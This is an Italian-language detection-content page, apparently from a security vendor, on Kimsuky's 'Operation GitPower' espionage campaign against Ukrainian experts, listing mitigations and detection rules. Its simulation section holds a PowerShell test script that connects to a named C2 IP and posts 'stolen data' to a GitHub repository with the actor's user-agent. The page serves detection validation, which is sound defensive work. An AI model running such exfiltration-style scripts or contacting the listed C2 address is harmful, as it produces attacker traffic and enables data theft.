Operazione GitPower: Spionaggio Kimsuky Contro l’Ucraina
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Kimsuky sta attualmente conducendo operazioni di spionaggio informatico contro esperti ucraini in diplomazia, sicurezza e politica internazionale. Conosciuta come Operazione GitPower, la campagna si basa su spear phishing ingannevoli e abusa di piattaforme di sviluppo legittime come GitHub, GitLab e Codeberg per distribuire malware. Gli attaccanti hanno anche iniziato a utilizzare strumenti di intelligenza artificiale per creare documenti esca e automatizzare i processi di attacco.
Indagine
Gli investigatori hanno esaminato più fasi d’attacco, tra cui file LNK dannosi mascherati da PDF e falsi installatori di Zoom. Hanno tracciato un flusso di esecuzione a più fasi in cui script VBScript e PowerShell impostano la persistenza attraverso attività pianificate. Il gruppo utilizza server C2 codificati e l’API di GitHub per eseguire l’esfiltrazione di dati.
Mitigazione
Le organizzazioni dovrebbero potenziare le capacità di rilevamento EDR e di threat hunting mirate all’abuso di file LNK, PowerShell e servizi di sviluppo cloud legittimi. È raccomandato un monitoraggio rigoroso delle attività pianificate insolite e delle chiamate API non autorizzate a GitHub e GitLab. Gli utenti dovrebbero essere formati per riconoscere le sofisticate tattiche di ingegneria sociale ingannevoli.
Risposta
Dopo il rilevamento, i rispondenti dovrebbero isolare gli endpoint interessati per fermare ulteriori esfiltrazioni di dati attraverso i canali TCP C2 identificati o di GitHub. Gli analisti dovrebbero cercare attività pianificate non autorizzate e controllare la directory C:UsersPublic per file VBS/PS1 dannosi. È essenziale correlare le esecuzioni di LNK con successive connessioni di rete a servizi cloud legittimi.
Flusso di attacco
Stiamo ancora aggiornando questa parte.
Rilevamenti
File LNK da errore Malsano con Doppia Estensione (via cmdline)
Powershell che Esegue File in Cartella Sospetta Utilizzando Politiche di Esecuzione Bypass (via cmdline)
Schtasks Punta a Cartella / Binario / Script Sospetto (via cmdline)
LOLBAS WScript / CScript (via creazione_processi)
Esecuzione Sospetta dal Profilo Utente Pubblico (via creazione_processi)
Utilizzo Sospetto di CURL (via cmdline)
Utilizzo Sospetto di Invoke-RestMethod (via powershell)
Chiamata a Metodi .NET Sospetti da Powershell (via powershell)
Possibile Download di File da GitHub Avviato da Processo Insolito (via connessione_rete)
File Sospetti nel Profilo Utente Pubblico (via evento_file)
IOC (HashMd5) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina Parte 4
IOC (HashMd5) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina Parte 3
IOC (HashMd5) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina Parte 2
IOC (HashMd5) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina Parte 1
IOC (SourceIP) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina
IOC (DestinationIP) per rilevare: Operazione GitPower di Kimsuky che mira all’Ucraina
Rilevamento di Connessione TCP C2 ed Esfiltrazione Basata su GitHub in Attività Kimsuky [Connessione di Rete Windows]
Rileva Attività Pianificata GoogleUpdateTaskMachineUA per l’Esecuzione di Script Maligni [Windows Sysmon]
File LNK Usati per Eseguire Script PowerShell Maligni con Offuscamento e Persistenza [Creazione Processo Windows]
Esecuzione Simulazione
-
Narrativa dell’attacco & Comandi: L’avversario mira a stabilire comunicazione di Comando e Controllo (C2) ed esfiltrare dati sensibili tramite GitHub. In primo luogo, l’attaccante stabilisce una connessione TCP all’IP C2 codificato
111.92.246.145sulla porta12345per segnalare la prontezza. In secondo luogo, per evitare il rilevamento attraverso il monitoraggio tradizionale del trasferimento dati, l’attaccante utilizza un approccio “living-off-the-land” caricando un documento rubato in un repository GitHub tramite l’API Contenuti di GitHub, imitando specificamente l’User-Agent di KimsukyGitHub-API/1.0. -
Script di Test di Regressione:
# Script di Simulazione per la Validazione del Rilevamento Kimsuky Write-Host "[+] Avvio della Simulazione Kimsuky..." -ForegroundColor Cyan # 1. Simula Connessione C2 (TCP 111.92.246.145:12345) Write-Host "[+] Tentativo di connessione C2 a 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Usiamo un timeout breve in modo che lo script non resti bloccato se l'IP è irraggiungibile $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Connessione fallita (prevista se l'IP è offline), ma la telemetria dovrebbe comunque essere registrata da Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Errore durante la simulazione C2: $($_.Exception.Message)" -ForegroundColor Red } # 2. Simula Esfiltrazione GitHub (POST all'API di GitHub con specifico User-Agent) Write-Host "[+] Tentativo di simulazione esfiltrazione API GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Esfiltrazione dei dati" "content" = "SGVsbG8gV29ybGQ=" # Base64 per "Hello World" } | ConvertTo-Json try { # Usando -UserAgent per attivare la logica di rilevamento specifica Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] Richiesta HTTP completata (404/401 previsto per URL falso, ma l'User-Agent è stato inviato)." -ForegroundColor Gray } Write-Host "[+] Simulazione Completata." -ForegroundColor Cyan -
Comandi di Pulizia:
# Nessun artefatto persistente è stato creato da questo script di simulazione. # Se sono stati utilizzati file locali per il contenuto, devono essere eliminati: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Pulizia completata." -ForegroundColor Green